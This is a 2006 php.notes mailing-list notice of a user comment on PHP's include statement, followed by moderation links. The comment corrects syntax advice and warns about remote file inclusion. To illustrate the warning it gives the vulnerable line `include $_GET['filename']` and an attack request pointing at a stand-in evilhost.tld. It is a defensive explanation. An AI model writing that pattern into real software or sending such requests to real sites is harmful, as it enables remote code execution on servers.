note 60300 added to function.include

From: Date: Tue, 03 Jan 2006 00:40:10 +0000
Subject: note 60300 added to function.include
Groups: php.notes 
Request: Send a blank email to php-notes+get-101123@lists.php.net to get a copy of this message
@Ting-Zien LEE - It's better to use <?php ... ?> instead of <? ?>, short open tags are disabled on some systems. - include is a statement and not a function, so syntax should be: include 'myfile.php' (NOT: include('myfile.php')) - You comment is incorrect. When including a file no PHP code in strings will be executed, so your example will output <? echo('Hello World'); ?> But if you include a remote file e.g. <?php include 'http://www.somehost.tld/b.php' ?> Only the output of b.php will be included, and that's your echo code. (But it would be easier just to include a textfile with your code that will not be parsed on remote server.) That's why you should not do things like <?php include $_GET['filename']; ?> because someone could request http://yourhost.tld/a.php?filename=http://www.evilhost.tld/b.php ... but that's a real old topic ;-) ---- Manual Page -- http://www.php.net/manual/en/function.include.php Edit -- http://master.php.net/manage/user-notes.php?action=edit+60300 Delete: added to the manual -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes&reason=added+to+the+manual Delete: bad code -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes&reason=bad+code Delete: spam -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes&reason=spam Delete: useless -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes&reason=useless Delete: non-english -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes&reason=non-english Delete: already in docs -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes&reason=already+in+docs Delete: other reasons -- http://master.php.net/manage/user-notes.php?action=delete+60300&report=yes Reject -- http://master.php.net/manage/user-notes.php?action=reject+60300&report=yes Search -- http://master.php.net/manage/user-notes.php

« previous php.notes (#101123) next »